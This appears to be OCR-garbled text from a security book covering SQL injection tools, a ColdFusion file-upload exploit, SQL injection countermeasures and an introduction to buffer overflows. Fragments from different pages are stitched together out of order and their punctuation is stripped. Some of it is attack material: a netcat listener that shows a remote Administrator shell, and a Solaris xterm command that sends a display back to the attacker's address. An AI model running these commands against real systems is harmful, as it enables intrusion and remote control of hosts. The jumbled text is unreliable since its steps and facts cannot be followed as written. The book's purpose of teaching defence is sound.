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compromise Blind SQL injection has become automated by tools that take much of the menial guesswork out of the attack, as we will discuss in a moment Not all of the syntax shown works on every proprietary database implementation The information in Table 11-6 indicates whether some of the techniques we ve outlined will work on certain database platforms Automated SQL Injection Tools SQL injection is typically performed manually, but some tools are available that can help automate the process of identifying and exploiting such weaknesses Both of the commercial web application assessment tools we mentioned previously, HP WebInspect and Rational AppScan, have tools and checks for performing automated SQL injection Completely automated SQL injection vulnerability detection is still being perfected, and the tools generate a large number of false positives, but they provide a good starting point for further investigation SQL Power Injector is a free tool to analyze web applications and locate SQL injection vulnerabilities Built on the NET Framework, it targets a large number of database platforms, including MySQL, Microsoft SQL Server, Oracle, Sybase, and DB2 Get it at http://wwwsqlpowerinjectorcom/ A number of tools are available for analyzing the extent of SQL injection vulnerabilities, although they tend to target specific back-end database platforms Absinthe, available at http://www0x90org/releases/absinthe/indexphp, is a GUI-based tool that will automatically retrieve the schema and contents of a database that has a blind SQL injection vulnerability Supporting Microsoft SQL Server, Postgres, Oracle and Sybase, Absinthe is quite versatile For a more thorough drubbing, Sqlninja, available at http://sqlninjasourceforge net/, provides the ability to completely take over the host of a Microsoft SQL Server

5 You should receive the contents of exprcalccfm in the window, and it should be deleted from the system Now all files uploaded with openfilecfm will remain on the remote system 6 Reload testpl onto the remote system with the same steps outlined earlier Once complete, your file (testpl) will be uploaded and awaiting your call 7 Run the testpl file by calling it with a URL:

Database-Speci c Information MySQL UNION possible Subselects possible Multiple statements Default stored procedures Other comments Y N N (mostly) Supports INTO OUTFILE Oracle Y Y N Many (utf_file) DB2 Y Y N Postgres Y Y Y MS SQL Y Y Y Many (xp_cmdshell)

8 If you had your TFTP server and your netcat listener running ahead of time, you should see the following Administrator prompt:

Table 11-6

C:\>nc -l -p 3000 Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp D:\INETPUB\WWWROOT\cfdocs>

database Run successfully, Sqlninja can also crack the server passwords, escalate privileges, and provide the attacker with remote graphical access to the database host

Countermeasures U Cold Fusionways to prevent exploitation of Cold Fusion s vulnerabilities: There are two

M L Remove the affected scripts Apply the Allaire patch for the exprcalccfm vulnerability It can be found at http://www1allairecom/handlers/indexcfm ID=8727&Method=Full

Here is an extensive but not complete list of methods used to prevent SQL injection: Perform strict input validation on any input from the client Follow the common programming mantra of constrain, reject, and sanitize that is, constrain your input where possible (for example, only allow numeric formats for a ZIP code eld), reject input that doesn t t the pattern, and sanitize where constraint is not practical When sanitizing, consider validating data type, length, range, and format correctness See the Regular Expression Library at http://wwwregxlibcom for a great sample of regular expressions for validating input Replace direct SQL statements with stored procedures, prepared statements, or ADO command objects If you can t use stored procs, used parameterized queries Implement default error handling message for all errors This includes using a general error

Popularity: Simplicity: Impact: Risk Rating: 9 9 10 9

Lock down ODBC Disable messaging to clients Don t let regular SQL statements through This ensures that no client, not just the web application, can execute arbitrary SQL Lock down the database server con guration Specify users, roles, and permissions Implement triggers at the RDBMS layer This way, even if someone can get to the database and get arbitrary SQL statements to run, they won t be able to do anything they re not supposed to For more tips, see the Microsoft Developer Network (MSDN) article at http://msdn microsoftcom/library/en-us/bldgapps/ba_highprog_11kkasp If your application is developed in ASP, use Microsoft s Source Code Analyzer for SQL Injection tool, available at http://supportmicrosoftcom/kb/954476, to scan your source for vulnerabilities

Buffer overflows have been a chink in the armor of UNIX security for many years Ever since Dr Mudge s discussion of the subject in his 1995 paper How to write buffer overflows (http://wwwsniperorg/tech/mudge_buffer_overflow_tutorialhtml), the world of UNIX security has never been the same Aleph One s 1996 article on Smashing the stack for fun and profit, originally published in Phrack Magazine 49 (wwwphrackcom), is also a classic paper detailing how simple the process is for overflowing a buffer A great site for these references is at http://destroynet/machines/ security/ For those unfamiliar with this nebulous concept, a buffer overflow allows attackers to put a value greater than expected into a program variable, and by doing so, execute arbitrary code with the privilege of the running user usually root The problem almost always stems from poorly written code such as a program that inserts data into a buffer and does not check the size of the data being inserted The most popular command to execute remotely would look something like /usr/openwin/bin/xterm display <your_IP_address>:00 & on Solaris